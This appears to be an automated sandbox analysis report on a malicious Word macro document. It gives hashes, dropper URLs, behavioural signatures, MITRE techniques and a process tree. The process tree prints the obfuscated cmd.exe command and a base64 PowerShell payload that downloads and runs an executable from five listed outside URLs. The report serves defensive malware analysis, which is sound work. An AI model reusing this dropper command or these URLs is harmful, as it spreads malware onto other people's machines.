6d1522b971a391ad16352b8cd205416729b99239fbc9101c43ad9c5b50f876c2

General

Target

c7583c3314352b95a859b1850241ec4c_JaffaCakes118.doc
Size

87KB
MD5

c7583c3314352b95a859b1850241ec4c
SHA1

686021b468397700f6cbba09d7374a4ba4a82afc
SHA256

6d1522b971a391ad16352b8cd205416729b99239fbc9101c43ad9c5b50f876c2
SHA512

f3ccbde93f73ddcd21c53219cd33b1563f051e76485d5bfe3715c46de712f7ac5f34ad17e01b32c485d0e1d1c61651ccb23089e38097fe2a4774a285c6737710
SSDEEP

1536:aptJlmrJpmxlRw99NBj+aIc0IvHsA99l:Gte2dw99f1UA99l

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://lw.mirkre.com/CdKQQ

exe.dropper

http://dent.doctor-korchagina.ru/Dkxxo

exe.dropper

http://ehisblogtutorial.tk/0SIC3

exe.dropper

http://fendy.lightux.com/BriMn5Vx

exe.dropper

http://founderspond.skyries.com/KkfYR

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	5060	436	cmd.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
38	3460	powershell.exe
40	3460	powershell.exe
43	3460	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
5060	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
436	WINWORD.EXE
436	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
436	WINWORD.EXE
436	WINWORD.EXE
436	WINWORD.EXE
436	WINWORD.EXE
436	WINWORD.EXE
436	WINWORD.EXE
436	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 436 wrote to memory of 5060	436	WINWORD.EXE	85
PID 436 wrote to memory of 5060	436	WINWORD.EXE	85
PID 5060 wrote to memory of 3460	5060	cmd.exe	96
PID 5060 wrote to memory of 3460	5060	cmd.exe	96

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c7583c3314352b95a859b1850241ec4c_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /V^ ^ ^ /c " ^S^E^t ^KM^9^P==AA^IAACAgAAI^A^AC^AgA^AIAAC^A^g^AAI^AACA^g^A^AIA^AC^A^gA^A^I^AACA^9^BQf^As^H^AoB^wY^AQHA^hB^w^YA^0H^A^7^Aw^aA^EG^AlBgc^AI^G^A7^Aw^d^A^8^EAV^B^AJ^A^AC^AtBQ^ZAQHAJ^B^QL^AU^G^Ar^B^w^b^AY^HAuBQSAsD^A^p^A^wd^A^8^E^AV^BA^J^AAC^A^sAg^U^A^UE^A^1B^A^J^A^gCAl^B^AbA^kGA^G^BA^ZA^E^G^Av^B^A^bA4^G^A3^B^w^b^AQ^E^Au^AgaAcFAWB^AJ^A^s^HA^5^B^gc^A^QHA7^B^QKA^Y^FA^wBQcA^QCAg^Ag^bAkG^AgAg^U^AUEA1^B^A^J^AgC^Ao^BwY^AEGAlB^gcA8^G^A^m^Bw^OAcC^A^l^B^A^e^AUGAuA^w^JAsC^A^T^B^g^e^Ao^F^Ak^A^wKAcCAc^B^wJ^AsCAjB^Q^a^A^wG^AiBQd^A^AHA^6^A^gd^A^4^G^AlB^A^J^A0^D^A^3^B^w^TA^UFA^k^A^wO^AcCA^y^AwNAEDAnAA^IA0DA^gA^wUA^o^H^AaB^AJA^s^D^Ap^Aw^JA^A^EAnAAKA^QHAp^B^AbA^A^HA^TBg^L^AcCASB^QW^AY^GArBwS^A^8C^AtB^w^bA^M^GAu^A^wcA^U^GA^p^B^gcA^kH^Ar^Bwc^A^4CA^kBgb^A8^GA^wB^wcAI^H^Al^B^A^Z^A4^GA1^B^wb^A^Y^GAv^A^wL^A^oD^A^w^BA^dAQ^H^A^o^BAQ^AgHAW^BQN^A^4^G^ANBQaAI^HACB^wL^A0GAv^BwY^A4CA^4^B^QdA^QH^A^o^Bw^ZA^kGA^s^BgL^A^kH^A^kBg^b^AUG^AmBwLA8CA6^A^Ac^A^QH^A0^BAa^AAE^AzA^w^QA^kE^ATBAM^A8CAr^BA^d^A^4C^AsB^QY^A^kGA^y^B^wbAQHA1BAd^Ac^G^Av^B^A^b^A^IGA^zB^Q^aA^gGAl^B^w^L^A8CA6^AAcA^QH^A^0BA^a^A^AE^Av^BA^e^A^g^H^Ar^BAR^A8CA1^B^gc^A^4CAh^Bgb^Ak^GAnBQYA^g^GAj^B^gc^A8^GAr^BQLAIHAv^BA^dAM^G^Av^BA^ZA^4CA0^B^gbAU^G^Ak^B^w^LA^8CA6AAc^A^QHA^0B^A^aAA^EARBQ^U^A^s^EAkB^wQA^8CA^t^BwbA^MGAuA^Q^Z^AIHArB^gcA^kGAtB^g^L^Ac^H^A^sB^wL^A^8C^A^6A^AcAQHA^0B^A^a^AcCA9A^gV^A^A^HAxBA^JAsD^A0^Bgb^AU^G^A^pBA^bAME^AiBQZ^AcFA^u^AA^d^A^UGAOBA^I^A^QHA^jBQ^ZAoG^Ai^B^w^b^A^0C^A3^B^QZA4^G^A^9AgaAcFA^WBAJ^ e^-^ ^ll^ehsr^e^w^o^p& ^F^OR /^L %^M ^IN ( ^ 1^0^0^1^ ^ ^, -1^ ,^ ^ 0 )D^o Se^T xF=!xF!!^KM^9^P:~%^M, 1!&& i^F %^M ^Ls^S ^1 Ca^l^l %xF:^*^x^F^!^=% "
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABWAFcAagA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABxAHAAVgA9ACcAaAB0AHQAcAA6AC8ALwBsAHcALgBtAGkAcgBrAHIAZQAuAGMAbwBtAC8AQwBkAEsAUQBRAEAAaAB0AHQAcAA6AC8ALwBkAGUAbgB0AC4AZABvAGMAdABvAHIALQBrAG8AcgBjAGgAYQBnAGkAbgBhAC4AcgB1AC8ARABrAHgAeABvAEAAaAB0AHQAcAA6AC8ALwBlAGgAaQBzAGIAbABvAGcAdAB1AHQAbwByAGkAYQBsAC4AdABrAC8AMABTAEkAQwAzAEAAaAB0AHQAcAA6AC8ALwBmAGUAbgBkAHkALgBsAGkAZwBoAHQAdQB4AC4AYwBvAG0ALwBCAHIAaQBNAG4ANQBWAHgAQABoAHQAdABwADoALwAvAGYAbwB1AG4AZABlAHIAcwBwAG8AbgBkAC4AcwBrAHkAcgBpAGUAcwAuAGMAbwBtAC8ASwBrAGYAWQBSACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABaAHoAUwAgAD0AIAAnADEANwAyACcAOwAkAFUATwB3AD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAFoAegBTACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJAB1AEUAUgAgAGkAbgAgACQAcQBwAFYAKQB7AHQAcgB5AHsAJABWAFcAagAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AEUAUgAsACAAJABVAE8AdwApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABVAE8AdwA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCDCE1E.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5seyvtzf.4vy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
5268622a697583f69e5db58df8eb432a

SHA1
d4be6d9772eee302e4281442dc7e336c1854fe57

SHA256
58618d45477859ab6aa7070e1948a9e7e19371f50d23818947b7657fd89ccf18

SHA512
7021ea8396691cf4238ddcb1240cc0fe9e105c88d13046bdd9fe0d83d45969666fb04df72c1d11f82d3fc418cd89a312dc11ffd9ec6f8e03a9ec2cc4ace175df

Download Submit
memory/436-7-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-19-0x00007FF863010000-0x00007FF863020000-memory.dmp

Filesize
64KB

Download
memory/436-10-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-9-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-8-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-3-0x00007FF8A52CD000-0x00007FF8A52CE000-memory.dmp

Filesize
4KB

Download
memory/436-6-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-2-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/436-11-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-12-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-14-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-16-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-15-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-18-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-0-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/436-17-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-29-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-27-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-13-0x00007FF863010000-0x00007FF863020000-memory.dmp

Filesize
64KB

Download
memory/436-28-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-560-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-4-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/436-48-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-51-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/436-5-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/436-1-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/436-557-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/436-556-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/436-559-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/436-558-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3460-38-0x000001F017330000-0x000001F017352000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads